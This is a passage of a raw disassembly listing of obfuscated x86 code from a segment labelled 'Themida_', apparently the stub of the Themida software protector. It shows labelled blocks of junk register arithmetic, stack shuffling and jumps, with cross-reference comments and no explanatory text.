; ---------------------------------------------------------------------------
loc_598F68: ; CODE XREF: Themida_:0059A2CFj
add bl, 3Fh
push ecx
jmp loc_5A120C
; ---------------------------------------------------------------------------
loc_598F71: ; CODE XREF: Themida_:loc_5988F7j
sub eax, 0A6E9BDFAh
mov ebx, eax
pop eax
push ebp
jmp loc_59AD22
; ---------------------------------------------------------------------------
loc_598F7F: ; CODE XREF: Themida_:00599488j
add esp, 4
push esi
mov esi, 19A0603Fh
sub ebp, esi
pop esi
pop ebx
sub ebp, 0FFFFFFFFh
push ecx
jmp loc_59C1A5
; ---------------------------------------------------------------------------
loc_598F9B: ; CODE XREF: Themida_:005A022Cj
pop dword ptr [esp]
jmp loc_5A5EA8
; ---------------------------------------------------------------------------
loc_598FA3: ; CODE XREF: Themida_:loc_5A7D15j
add edx, 481625D6h
xor eax, edx
push dword ptr [esp]
pop edx
push esi
push esp
pop esi
jmp loc_5AA70F
; ---------------------------------------------------------------------------
loc_598FB7: ; CODE XREF: Themida_:0059C28Aj
; Themida_:0059D174j
sub edx, 18B41645h
sub edx, ebx
add edx, 18B41645h
mov ebx, [esp]
jmp loc_59B757
; ---------------------------------------------------------------------------
loc_598FCD: ; CODE XREF: Themida_:005A7A3Fj
pop esp
push eax
push esp
pop eax
add eax, 4
push ebp
push 4E7Ah
mov [esp], edi
jmp loc_5ADFEA
; ---------------------------------------------------------------------------
loc_598FE4: ; CODE XREF: Themida_:005AC5E1j
push ecx
jmp loc_5AE630
; ---------------------------------------------------------------------------
loc_598FEA: ; CODE XREF: Themida_:0059ED27j
shl ebx, 7
js loc_59A35C
jmp loc_59C03D
; ---------------------------------------------------------------------------
loc_598FF8: ; CODE XREF: Themida_:005A9E84j
add esp, 4
add ebp, 5A26685Ch
add ebp, edx
jmp loc_599309
; ---------------------------------------------------------------------------
loc_59900B: ; CODE XREF: Themida_:0059B7CDj
sub esp, 4
jmp loc_5A7DA2
; ---------------------------------------------------------------------------
loc_599016: ; CODE XREF: Themida_:0059FB3Ej
add dword ptr [esp], 4
mov ebx, [esp]
push 2587h
mov [esp], ecx
jmp loc_59A633
; ---------------------------------------------------------------------------
loc_59902D: ; CODE XREF: Themida_:005AC9F7j
pop ecx
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
add ecx, 23697840h
push 7F77h
mov [esp], ebp
jmp loc_598DF9
; ---------------------------------------------------------------------------
loc_599051: ; CODE XREF: Themida_:0059F18Fj
push 16DD70B0h
pop edx
sub edx, 6D28659Ch
xor edx, 5B8646DCh
inc edx
sub edx, 0DA182DBCh
mov edi, edx
push dword ptr [esp]
jmp loc_5A973A
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcr dword ptr [esp], cl
pushf
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_599083: ; CODE XREF: Themida_:loc_59B054j
jmp loc_59AB9F
; ---------------------------------------------------------------------------
loc_599088: ; CODE XREF: Themida_:005AF3DFj
xor ebx, edi
jmp loc_5A0256
; ---------------------------------------------------------------------------
loc_59908F: ; CODE XREF: Themida_:005A4107j
pop esp
push ebx
jmp loc_59D716
; ---------------------------------------------------------------------------
loc_599096: ; CODE XREF: Themida_:0059F4B0j
mov [esp], ecx
push 15961E02h
jmp loc_5AA2A8
; ---------------------------------------------------------------------------
loc_5990A3: ; CODE XREF: Themida_:0059EC61j
pop esp
jmp loc_5AF52D
; ---------------------------------------------------------------------------
loc_5990A9: ; CODE XREF: Themida_:005A5466j
; Themida_:005A6925j
push 5778h
mov [esp], ebx
push 7368h
mov [esp], esi
mov esi, 4AC806AFh
xor [esp+4], esi
mov esi, [esp]
add esp, 4
jmp loc_5A6FD2
; ---------------------------------------------------------------------------
loc_5990CD: ; CODE XREF: Themida_:0059C413j
push 1768h
mov [esp], ecx
jmp loc_5A5435
; ---------------------------------------------------------------------------
loc_5990DA: ; CODE XREF: Themida_:0059B6F0j
mov [esp], ebp
push 3B977D13h
mov ebp, [esp]
jmp loc_59B718
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
jmp loc_59F870
; ---------------------------------------------------------------------------
loc_5990F2: ; CODE XREF: Themida_:005A0772j
add ebp, 4
sub esp, 4
mov [esp], esi
mov esi, 0ED7547Dh
shr esi, 8
shr esi, 8
jmp loc_5A4275
; ---------------------------------------------------------------------------
loc_59910E: ; CODE XREF: Themida_:0059A203j
; Themida_:005ADB80j
add al, 8
jmp loc_59F26D
; ---------------------------------------------------------------------------
loc_599115: ; CODE XREF: Themida_:005A8A0Fj
mov edi, [esp]
add esp, 4
add ebp, 0A43FF4A5h
jmp loc_5ABBAC
; ---------------------------------------------------------------------------
loc_599129: ; CODE XREF: Themida_:005A0C9Aj
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
pop esp
add eax, 4
xchg eax, [esp]
pop esp
sub esp, 4
mov [esp], ebp
push esp
pop ebp
push ebx
mov ebx, 4
add ebp, ebx
jmp loc_5A9DA5
; ---------------------------------------------------------------------------
loc_599152: ; CODE XREF: Themida_:005A80CAj
jnp loc_59C93F
jmp loc_5AE7E3
; ---------------------------------------------------------------------------
pop dword ptr [esp]
mov cl, 0D1h
loc_599163: ; CODE XREF: Themida_:0059E0CDj
mov ebp, ebx
pop ebx
not ebp
shl ebp, 6
jmp loc_59E493
; ---------------------------------------------------------------------------
loc_599170: ; CODE XREF: Themida_:0059B77Bj
add dword ptr [esp+4], 2AAD4243h
add dword ptr [esp+4], 55F663FAh
jmp loc_59AD2C
; ---------------------------------------------------------------------------
loc_599185: ; CODE XREF: Themida_:005A6970j
add ecx, esi
pop esi
jmp loc_5ABE99
; ---------------------------------------------------------------------------
loc_59918D: ; CODE XREF: Themida_:005A3189j
xor edi, 4EF0A5Fh
jno loc_5ABDB9
jmp loc_5ADE27
; ---------------------------------------------------------------------------
push dword ptr [esp+4]
pop edx
pop ebx
loc_5991A4: ; CODE XREF: Themida_:00598F09j
xor ecx, ebx
jmp loc_599E76
; ---------------------------------------------------------------------------
loc_5991AB: ; CODE XREF: Themida_:005AF116j
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
push 4Ah
mov [esp], ecx
push edx
push 754Dh
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
pop edx
add edx, 4
jmp loc_5A74DA
; ---------------------------------------------------------------------------
loc_5991D7: ; CODE XREF: Themida_:005A7D79j
sub esp, 4
mov [esp], ebx
mov ebx, 5D8B7937h
xor esi, ebx
pop ebx
jmp loc_59BE8C
; ---------------------------------------------------------------------------
loc_5991ED: ; CODE XREF: Themida_:005A10B6j
sub dword ptr [esp+4], 2AB55C1h
add [esp+4], ebx
jmp loc_59D503
; ---------------------------------------------------------------------------
loc_5991FE: ; CODE XREF: Themida_:005A41F3j
add esi, 0DF8AB5EDh
mov eax, esi
pop esi
xor ecx, eax
mov eax, [esp]
add esp, 4
push dword ptr [esp]
pop edi
jmp loc_5ACE28
; ---------------------------------------------------------------------------
loc_59921B: ; CODE XREF: Themida_:0059E022j
; Themida_:005A1989j
sub cl, 43h
pop eax
push edx
mov dh, 7Bh
or dh, 74h
jmp loc_5A4726
; ---------------------------------------------------------------------------
loc_59922A: ; CODE XREF: Themida_:005A8FD9j
mov [esp], esi
push esp
pop esi
push edi
push 70C748C1h
jmp loc_59A3E1
; ---------------------------------------------------------------------------
loc_59923A: ; CODE XREF: Themida_:005A91CFj
push ebp
mov ebp, 4E583F71h
inc ebp
sub ebp, 1ED87978h
jmp loc_59C53F
; ---------------------------------------------------------------------------
loc_59924C: ; CODE XREF: Themida_:005A6FFEj
xor edx, 0F2336367h
jmp loc_59D416
; ---------------------------------------------------------------------------
loc_599257: ; CODE XREF: Themida_:00599B6Aj
push edx
mov dh, 5Bh
xor cl, dh
jmp loc_5A5D82
; ---------------------------------------------------------------------------
loc_599261: ; CODE XREF: Themida_:0059CCACj
pop esp
push ebx
mov ebx, 40h
sub ebx, 6D660E30h
add ebx, edi
add ebx, 6D660E30h
jmp loc_5A062D
; ---------------------------------------------------------------------------
loc_59927B: ; CODE XREF: Themida_:005A9ED9j
mov ebp, 4
push eax
mov eax, 461A4895h
add [esp+8], eax
pop eax
add [esp+4], ebp
jmp loc_5A33AF
; ---------------------------------------------------------------------------
loc_599294: ; CODE XREF: Themida_:005A8082j
add cl, 0D7h
jmp loc_5A4634
; ---------------------------------------------------------------------------
loc_59929C: ; CODE XREF: Themida_:00598573j
mov esi, 490C55EEh
sub [esp+0Ch], esi
pop esi
jmp loc_59C57A
; ---------------------------------------------------------------------------
loc_5992AB: ; CODE XREF: Themida_:005AAD04j
jmp loc_5A929D
; ---------------------------------------------------------------------------
loc_5992B0: ; CODE XREF: Themida_:005A6D19j
push 77AAh
mov [esp], ecx
push eax
mov eax, esp
push esi
push eax
mov eax, 9B2489Eh
mov esi, 917DBE9h
sub esi, 0F243AEFh
add esi, eax
add esi, 0F243AEFh
pop eax
shr esi, 1
inc esi
sub esi, 9651240h
push ecx
mov ecx, 34942F40h
add eax, ecx
pop ecx
add eax, esi
push edi
mov edi, 49680F3Bh
shr edi, 6
shl edi, 8
add edi, 5B7218Ah
sub edi, 1A3A3816h
neg edi
jmp loc_5AA18A
; ---------------------------------------------------------------------------
loc_599309: ; CODE XREF: Themida_:00599006j
sub ebp, 5A26685Ch
mov edx, [esp]
add esp, 4
push eax
mov eax, 0F546BECh
add eax, 3C292799h
add eax, 252977B1h
jmp loc_59C51C
; ---------------------------------------------------------------------------
loc_59932D: ; CODE XREF: Themida_:005A2C4Cj
sub al, 1Bh
jmp loc_5A15EC
; ---------------------------------------------------------------------------
loc_599334: ; CODE XREF: Themida_:loc_5AF058j
xor esi, 22EC2184h
mov [edx+30h], esi
mov esi, [esp]
add esp, 4
jmp loc_5ACD15
; ---------------------------------------------------------------------------
loc_59934B: ; CODE XREF: Themida_:005A889Ej
pop ebp
add esp, 4
add esp, 4
push 0DCh
jmp loc_5A540B
; ---------------------------------------------------------------------------
loc_59935F: ; CODE XREF: Themida_:005A0556j
xor al, cl
mov cx, [esp]
push edx
push esp
pop edx
push 6C5Bh
mov [esp], edi
mov edi, 35F25B1Bh
and edi, 15963B18h
shr edi, 6
jmp loc_59B5E2
; ---------------------------------------------------------------------------
loc_599383: ; CODE XREF: Themida_:005A1B8Fj
add edi, 4
push ebx
mov ebx, 4
sub edi, 7EAD62D8h
add edi, ebx
add edi, 7EAD62D8h
pop ebx
sub esp, 4
mov [esp], edi
jmp loc_59A625
; ---------------------------------------------------------------------------
loc_5993AC: ; CODE XREF: Themida_:005A6646j
dec ecx
jl loc_59AA63
jmp loc_5A3225
; ---------------------------------------------------------------------------
loc_5993B8: ; CODE XREF: Themida_:005AABE3j
pop esp
jmp loc_5A3E77
; ---------------------------------------------------------------------------
loc_5993BE: ; CODE XREF: Themida_:005A92C7j
mov [esp], edx
push esp
pop edx
push ebp
mov ebp, 4
jmp loc_598A64
; ---------------------------------------------------------------------------
loc_5993CE: ; CODE XREF: Themida_:005A32E5j
push dword ptr [esp]
pop edi
push edi
mov edi, esp
jmp loc_5A3966
; ---------------------------------------------------------------------------
loc_5993DA: ; CODE XREF: Themida_:0059C184j
; Themida_:005A9CB9j
add eax, 0E8C9DF37h
mov ebp, eax
pop eax
shr ebp, 5
shr ebp, 5
xor ebp, 593CD059h
and esi, ebp
mov ebp, [esp]
add esp, 4
or esi, 44696261h
jbe loc_5AEC18
jmp loc_5AE30F
; ---------------------------------------------------------------------------
loc_599407: ; CODE XREF: Themida_:loc_5AE2AEj
jmp loc_5A6223
; ---------------------------------------------------------------------------
loc_59940C: ; CODE XREF: Themida_:005A57B6j
; Themida_:loc_5ACE09j
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
mov eax, [esp]
add esp, 4
push ecx
push 0A4h
mov [esp], eax
mov ah, 0AAh
mov cl, ah
mov eax, [esp]
add esp, 4
sub cl, 83h
sub esp, 2
mov [esp], bx
mov bh, 23h
jmp loc_59F46F
; ---------------------------------------------------------------------------
loc_599449: ; CODE XREF: Themida_:005A6050j
pop eax
jmp loc_5A0DBE
; ---------------------------------------------------------------------------
loc_59944F: ; CODE XREF: Themida_:005A49BFj
add bh, 0B1h
jnb loc_59FAAC
neg bh
jmp loc_5A87A3
; ---------------------------------------------------------------------------
loc_59945F: ; CODE XREF: Themida_:005AC0E2j
add ecx, edi
jmp loc_59C1BE
; ---------------------------------------------------------------------------
loc_599466: ; CODE XREF: Themida_:loc_59B4A0j
push esi
mov esi, 45594DF4h
push edi
jmp loc_5A0A2F
; ---------------------------------------------------------------------------
loc_599472: ; CODE XREF: Themida_:0059AA9Fj
push eax
mov eax, esp
add eax, 4
push edx
mov edx, 3ACE3C18h
jmp loc_5A3C86
; ---------------------------------------------------------------------------
loc_599485: ; CODE XREF: Themida_:0059E732j
mov ebp, [esp]
jmp loc_598F7F
; ---------------------------------------------------------------------------
loc_59948D: ; CODE XREF: Themida_:005A23CEj
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], esp
add dword ptr [esp], 4
pop dword ptr [esp]
push eax
mov eax, 4
add dword ptr [esp+4], 1E7145Ch
jmp loc_598EE6
; ---------------------------------------------------------------------------
loc_5994BC: ; CODE XREF: Themida_:005ABC78j
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push 437h
mov [esp], esi
jmp loc_5AF392
; ---------------------------------------------------------------------------
loc_5994D5: ; CODE XREF: Themida_:005AC5A8j
mov [esp], ebx
mov ebx, 3CD67B22h
jmp loc_59EC71
; ---------------------------------------------------------------------------
loc_5994E2: ; CODE XREF: Themida_:005A4232j
xor dh, ch
pop ecx
add dh, 0C8h
push eax
mov al, 0F1h
push ax
not byte ptr [esp]
pop ax
not al
inc al
sub al, 0CBh
xor dh, al
jmp loc_599DD2
; ---------------------------------------------------------------------------
loc_5994FF: ; CODE XREF: Themida_:00598C2Fj
add eax, ecx
pop ecx
mov esi, eax
pop eax
jmp loc_5AF587
; ---------------------------------------------------------------------------
loc_59950A: ; CODE XREF: Themida_:005A0D49j
push ecx
mov ch, 0C3h
jmp loc_5A007C
; ---------------------------------------------------------------------------
loc_599512: ; CODE XREF: Themida_:005A1A21j
mov ecx, 68479F6Ch
jmp loc_5A83B5
; ---------------------------------------------------------------------------
loc_59951C: ; CODE XREF: Themida_:005A1D89j
push edx
mov edx, esp
add edx, 4
jmp loc_5AF0B6
; ---------------------------------------------------------------------------
loc_59952A: ; CODE XREF: Themida_:005AA656j
push dword ptr [esp]
pop ebx
jmp loc_59FAE1
; ---------------------------------------------------------------------------
loc_599533: ; CODE XREF: Themida_:0059C697j
; Themida_:005A3BCDj
add al, dh
pop edx
neg al
ja loc_5A0D40
sub esp, 4
mov [esp], ebx
jmp loc_5A391C
; ---------------------------------------------------------------------------
loc_59954C: ; CODE XREF: Themida_:005A6889j
mov [esp], eax
push edi
jmp loc_5AB03D
; ---------------------------------------------------------------------------
loc_599555: ; CODE XREF: Themida_:005A68A0j
add dword ptr [esp+8], 490C55EEh
jmp loc_59856E
; ---------------------------------------------------------------------------
loc_599562: ; CODE XREF: Themida_:0059F3B0j
add ebp, edx
pop edx
sub ebp, 1EDA5DB0h
add ebp, esi
add ebp, 1EDA5DB0h
sub ebp, 5E5D7C84h
pop esi
xchg ebp, [esp]
mov esp, [esp]
jmp loc_5ABBA3
; ---------------------------------------------------------------------------
loc_599585: ; CODE XREF: Themida_:0059E183j
sub cl, 38h
jg loc_5AB063
or cl, 9Ah
jg loc_5A055B
shl cl, 2
jmp loc_5A9B0F
; ---------------------------------------------------------------------------
loc_59959F: ; CODE XREF: Themida_:005A0A6Cj
add edx, 4
push ebp
push edi
jmp loc_5AD3A7
; ---------------------------------------------------------------------------
loc_5995AC: ; CODE XREF: Themida_:005A4AF6j
add [esp+8], esi
sub dword ptr [esp+8], 37380686h
pop esi
jmp loc_5A2C51
; ---------------------------------------------------------------------------
loc_5995BE: ; CODE XREF: Themida_:005A18F8j
xor [esp], eax
jmp loc_5AD748
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
mov [esp], eax
push esp
jmp loc_5ABEDF
; ---------------------------------------------------------------------------
loc_5995D6: ; CODE XREF: Themida_:005A1F86j
; Themida_:005A6268j
not dword ptr [esp]
pop eax
jmp loc_5A11A7
; ---------------------------------------------------------------------------
loc_5995DF: ; CODE XREF: Themida_:005A37D3j
sub ecx, 764619EDh
sub ecx, 17BBC00Bh
add esi, ecx
pop ecx
jmp loc_5996EE
; ---------------------------------------------------------------------------
loc_5995F3: ; CODE XREF: Themida_:005A1FB8j
jns loc_5AD094
shr ecx, 6
jnp loc_5A08C7
jmp loc_5AD7E7
; ---------------------------------------------------------------------------
loc_599607: ; CODE XREF: Themida_:005A12E8j
mov eax, edi
jmp loc_5A3850
; ---------------------------------------------------------------------------
loc_59960E: ; CODE XREF: Themida_:005A61FDj
mov ecx, 59158CAh
inc ecx
shr ecx, 6
jmp loc_5A72B0
; ---------------------------------------------------------------------------
loc_59961C: ; CODE XREF: Themida_:0059CDA8j
push 164Bh
mov [esp], esp
add dword ptr [esp], 4
mov ecx, [esp]
sub esp, 4
mov [esp], ebx
push esp
mov ebx, [esp]
add esp, 4
push esi
jmp loc_5A7CC6
; ---------------------------------------------------------------------------
loc_59963E: ; CODE XREF: Themida_:005AB4CBj
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
mov esp, [esp]
jmp loc_5A948C
; ---------------------------------------------------------------------------
loc_59964F: ; CODE XREF: Themida_:0059EEE0j
push 514Fh
mov [esp], eax
push esp
jmp loc_5A1EB4
; ---------------------------------------------------------------------------
lodsb
xor al, bl
sub esp, 4
mov [esp], edx
mov dl, 0EFh
add al, 50h
push small 7EEBh
jmp loc_5A89D2
; ---------------------------------------------------------------------------
loc_599676: ; CODE XREF: Themida_:005A0BF8j
add dl, 2Eh
push ax
jmp loc_59AC16
; ---------------------------------------------------------------------------
loc_599680: ; CODE XREF: Themida_:0059868Aj
push esi
push 5C530B3Ah
pop esi
dec esi
jle loc_59F662
shr esi, 7
jmp loc_5A0B73
; ---------------------------------------------------------------------------
loc_599696: ; CODE XREF: Themida_:0059DCD4j
push 5780h
mov [esp], ecx
mov ecx, 3B8A4A9Fh
xor eax, ecx
pop ecx
push ecx
mov ecx, 738252B4h
jmp loc_59D904
; ---------------------------------------------------------------------------
loc_5996B1: ; CODE XREF: Themida_:005A2D14j
sub edx, 0BC0F3517h
sub eax, edx
jmp loc_5AC78D
; ---------------------------------------------------------------------------
loc_5996BE: ; CODE XREF: Themida_:005A66B6j
mov ecx, 1DA0149Dh
or ecx, 6D7C1B44h
jg loc_5AC67A
shl ecx, 2
jz loc_5A7D65
mov dh, al
pop edx
loc_5996DB: ; CODE XREF: Themida_:005AB24Ej
sub bl, 13h
push edx
push ebx
push eax
mov ah, 0EDh
and ah, 0B9h
sub ah, 1Ah
jmp loc_5A4BA2
; ---------------------------------------------------------------------------
loc_5996EE: ; CODE XREF: Themida_:005995EEj
add edi, esi
mov esi, [esp]
add esp, 4
sub esp, 4
jmp loc_59B42A
; ---------------------------------------------------------------------------
loc_5996FE: ; CODE XREF: Themida_:005ABEDAj
sub esp, 4
mov [esp], ebp
mov ebp, 0B484921Eh
add edx, ebp
pop ebp
sub ebp, edx
pop edx
sub esp, 4
mov [esp], ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
jmp loc_5A571E
; ---------------------------------------------------------------------------
loc_599725: ; CODE XREF: Themida_:005ACC56j
pop edi
push edx
mov edx, 4
add edi, edx
pop edx
add edi, 4
xchg edi, [esp]
pop esp
sub eax, ebx
add eax, 65DA33CEh
mov ebx, [esp]
add esp, 4
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], edx
push 5A111299h
mov edx, [esp]
add esp, 4
sub esp, 4
mov [esp], ebp
jmp loc_5A9D6A
; ---------------------------------------------------------------------------
loc_599776: ; CODE XREF: Themida_:0059BAF4j
mov edi, 4
add ebx, edi
pop edi
add ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_5A9F0F
; ---------------------------------------------------------------------------
loc_59978D: ; CODE XREF: Themida_:0059FAA7j
sub esp, 4
mov [esp], ebp
mov ebp, 545EC798h
xor edi, ebp
jmp loc_5AA768
; ---------------------------------------------------------------------------
loc_5997A2: ; CODE XREF: Themida_:005A6573j
neg ebp
inc ebp
jmp loc_5A4E21
; ---------------------------------------------------------------------------
loc_5997AA: ; CODE XREF: Themida_:005A3E02j
mov ecx, 39437B60h
or ecx, 77CE48FFh
shl ecx, 7
shl ecx, 7
jmp loc_5AE410
; ---------------------------------------------------------------------------
loc_5997C0: ; CODE XREF: Themida_:0059A090j
push eax
jmp loc_5A5B47
; ---------------------------------------------------------------------------
loc_5997C6: ; CODE XREF: Themida_:0059E559j
add edi, eax
pop eax
push 2DDh
mov [esp], edx
push ebp
jmp loc_5A9028
; ---------------------------------------------------------------------------
loc_5997D7: ; CODE XREF: Themida_:005A6653j
not ecx
xor ecx, 0DD70576Ah
sub esp, 4
mov [esp], eax
mov eax, ecx
mov edi, eax
pop eax
mov ecx, [esp]
push eax
jmp loc_5AA57D
; ---------------------------------------------------------------------------
loc_5997F6: ; CODE XREF: Themida_:005A5D7Dj
; Themida_:005A6C9Dj
add edi, 2F456041h
add edi, ebx
sub edi, 2F456041h
sub edi, 0F091B94h
add edi, 21587F26h
jmp loc_5A7B88
; ---------------------------------------------------------------------------
loc_599815: ; CODE XREF: Themida_:005AAF78j
push dword ptr [esp]
pop ebp
add esp, 4
or si, 688Ch
shr si, 8
not si
sub si, 7640h
neg si
jmp loc_5A1DAE
; ---------------------------------------------------------------------------
loc_599835: ; CODE XREF: Themida_:005AA934j
; Themida_:005ABC9Dj
push 0B8Ah
jmp loc_5AC2F1
; ---------------------------------------------------------------------------
loc_59983F: ; CODE XREF: Themida_:005A1849j
sub edx, 17810C2Fh
mov ecx, [esp]
add esp, 4
add edx, eax
push 0D4h
mov [esp], ecx
jmp loc_5AF54D
; ---------------------------------------------------------------------------
loc_59985D: ; CODE XREF: Themida_:005AEF2Cj
mov [esp], eax
jmp loc_59B32D
; ---------------------------------------------------------------------------
loc_599865: ; CODE XREF: Themida_:005A4866j
push 3C35045Eh
pop esi
push ecx
mov ecx, 359F7AAFh
dec ecx
dec ecx
xor ecx, 7E507C10h
sub ecx, 3581713Dh
jmp loc_5A7DAF
; ---------------------------------------------------------------------------
loc_599884: ; CODE XREF: Themida_:005A82C8j
push ebx
mov ebx, 0F12C8483h
add edx, 6C944FB9h
add edx, ebx
sub edx, 6C944FB9h
mov ebx, [esp]
jmp loc_5A22F3
; ---------------------------------------------------------------------------
loc_5998A0: ; CODE XREF: Themida_:005A151Fj
mov ah, 1Ch
or ah, 0D8h
jmp loc_5AC0F4
; ---------------------------------------------------------------------------
loc_5998AA: ; CODE XREF: Themida_:005A8754j
add ebp, 31627C0Ah
jmp loc_5AA2BF
; ---------------------------------------------------------------------------
loc_5998B5: ; CODE XREF: Themida_:0059FBBFj
sub esp, 4
mov [esp], ebx
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
mov esp, [esp]
mov [esp], edx
push eax
sub esp, 4
mov [esp], ebx
mov ebx, 8846A9Ch
mov eax, ebx
pop ebx
shl eax, 3
sub eax, 44A92B10h
jmp loc_59C959
; ---------------------------------------------------------------------------
loc_5998F5: ; CODE XREF: Themida_:005A1B48j
mov [esp], ebp
mov ebp, 4
add edi, ebp
mov ebp, [esp]
add esp, 4
add edi, 4
xchg edi, [esp]
pop esp
push ebp
jmp loc_5A8492
; ---------------------------------------------------------------------------
loc_599915: ; CODE XREF: Themida_:005A805Ej
sub ebx, 572B46FBh
pop ecx
sub esp, 4
mov [esp], ecx
push eax
push ebx
mov ebx, 0FAF0EC5h
shr ebx, 6
js loc_59BFB6
and ebx, 53D7629h
xor ebx, 63F22948h
ja loc_5A88F1
add ebx, 504C0EB8h
jnb loc_59CADD
pop ebx
loc_599954: ; CODE XREF: Themida_:0059BB5Aj
; Themida_:005AD95Bj
sub esp, 4
mov [esp], ecx
jmp loc_59CAB5
; ---------------------------------------------------------------------------
loc_59995F: ; CODE XREF: Themida_:0059BB9Fj
mov esp, [esp]
jmp loc_5A96DA
; ---------------------------------------------------------------------------
loc_599967: ; CODE XREF: Themida_:005ACF55j
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
push 4F82h
mov [esp], edx
push edi
jmp loc_59A65B
; ---------------------------------------------------------------------------
loc_599982: ; CODE XREF: Themida_:005A67A6j
add eax, ecx
push dword ptr [esp]
pop ecx
add esp, 4
jmp loc_5A264A
; ---------------------------------------------------------------------------
loc_599993: ; CODE XREF: Themida_:005ADEDFj
push dword ptr [esp]
push dword ptr [esp]
pop eax
add esp, 4
push eax
push 5E2Ah
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
jmp loc_59EE6A
; ---------------------------------------------------------------------------
loc_5999B3: ; CODE XREF: Themida_:005AE805j
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5999B8: ; CODE XREF: Themida_:005AEF65j
pop edx
push eax
jmp loc_5A1FF5
; ---------------------------------------------------------------------------
loc_5999BF: ; CODE XREF: Themida_:005AD23Fj
or edx, ebx
pop ebx
dec edx
sub edx, 8661653h
push ebp
jmp loc_5A8397
; ---------------------------------------------------------------------------
loc_5999CF: ; CODE XREF: Themida_:005A3F04j
mov esi, 4
add ecx, esi
jmp loc_5A6F6D
; ---------------------------------------------------------------------------
loc_5999DB: ; CODE XREF: Themida_:005AB2D6j
sub edi, 5BC10712h
add edi, edx
add edi, 5BC10712h
pop edx
sub edi, 2
xchg edi, [esp]
pop esp
mov [esp], dx
mov dh, 54h
sub esp, 4
jmp loc_5A615D
; ---------------------------------------------------------------------------
loc_599A02: ; CODE XREF: Themida_:00598D75j
jmp loc_59E269
; ---------------------------------------------------------------------------
loc_599A07: ; CODE XREF: Themida_:005AAA0Fj
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
add esp, 4
shl dword ptr [esp], cl
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_599A1C: ; CODE XREF: Themida_:005A87ABj
pop ebp
jmp loc_59DF2A
; ---------------------------------------------------------------------------
loc_599A22: ; CODE XREF: Themida_:0059AE75j
push ecx
jmp loc_5AB652
; ---------------------------------------------------------------------------
loc_599A28: ; CODE XREF: Themida_:005A3796j
mov esp, [esp]
jmp loc_59D05E
; ---------------------------------------------------------------------------
loc_599A30: ; CODE XREF: Themida_:0059ADBCj
; Themida_:005ADED3j
push ecx
jmp loc_5AA83D
; ---------------------------------------------------------------------------
loc_599A36: ; CODE XREF: Themida_:005AE84Fj
push 73CC039Ah
jmp loc_5A62AC
; ---------------------------------------------------------------------------
loc_599A40: ; CODE XREF: Themida_:005A8546j
xor ebp, ecx
jmp loc_5A9BA8
; ---------------------------------------------------------------------------
loc_599A47: ; CODE XREF: Themida_:0059FB1Bj
push ecx
mov ecx, 6D1D16D4h
jmp loc_5A9577
; ---------------------------------------------------------------------------
push 6322h
mov [esp], ebx
mov ebx, 208D14AAh
xor ebx, 0DF72EF55h
and [edi+1Ch], ebx
push dword ptr [esp]
jmp loc_5AA273
; ---------------------------------------------------------------------------
loc_599A70: ; CODE XREF: Themida_:0059BCB8j
add esp, 4
jmp loc_5A939D
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_59DBE5
; ---------------------------------------------------------------------------
loc_599A80: ; CODE XREF: Themida_:005ADFD9j
or edx, 2D724B8Fh
xor edx, 0BF7AFFEDh
mov ebp, edx
mov edx, [esp]
add esp, 4
push esi
push 42FC1D03h
pop esi
sub eax, esi
mov esi, [esp]
add esp, 4
add eax, ebp
add eax, 42FC1D03h
push dword ptr [esp]
jmp loc_5A2E06
; ---------------------------------------------------------------------------
loc_599AB5: ; CODE XREF: Themida_:005A61B0j
xor dl, al
mov ax, [esp]
jmp loc_5A7D7E
; ---------------------------------------------------------------------------
loc_599AC0: ; CODE XREF: Themida_:005A1908j
mov ecx, 7F014AB4h
add ebx, ecx
jmp loc_5A4903
; ---------------------------------------------------------------------------
loc_599ACC: ; CODE XREF: Themida_:0059F8DEj
; Themida_:loc_5A6E7Aj
push edi
push esp
pop edi
push edx
push ebp
jmp loc_59C9ED
; ---------------------------------------------------------------------------
loc_599AD6: ; CODE XREF: Themida_:005A80A2j
and ebx, 483A0113h
js loc_5A8745
shr ebx, 2
jmp loc_5988E9
; ---------------------------------------------------------------------------
loc_599AEA: ; CODE XREF: Themida_:005A90ECj
mov ch, 5Ch
xor ch, 0D9h
jmp loc_5A84C0
; ---------------------------------------------------------------------------
loc_599AF4: ; CODE XREF: Themida_:005A159Dj
neg eax
sub eax, 791679B2h
neg eax
sub eax, 5B0F5775h
or esi, eax
pop eax
jmp loc_5AB253
; ---------------------------------------------------------------------------
loc_599B0A: ; CODE XREF: Themida_:0059EC6Cj
mov [esp], edx
push dword ptr [esp+4]
mov edx, [esp]
push eax
jmp loc_5A463B
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_5A9857
; ---------------------------------------------------------------------------
loc_599B23: ; CODE XREF: Themida_:0059E246j
; Themida_:005A708Fj
add eax, 60503D8Ah
push ebp
jmp loc_5A28EE
; ---------------------------------------------------------------------------
loc_599B2E: ; CODE XREF: Themida_:005AED26j
mov ebp, [esp]
add esp, 4
push edi
mov edi, 29EE1B6Fh
shl edi, 6
jmp loc_5ABDDF
; ---------------------------------------------------------------------------
loc_599B42: ; CODE XREF: Themida_:005AD82Dj
shr ch, 5
jz loc_5AC6A9
neg ch
jle loc_5A196B
jmp loc_5A6194
; ---------------------------------------------------------------------------
xor al, bl
pop ebx
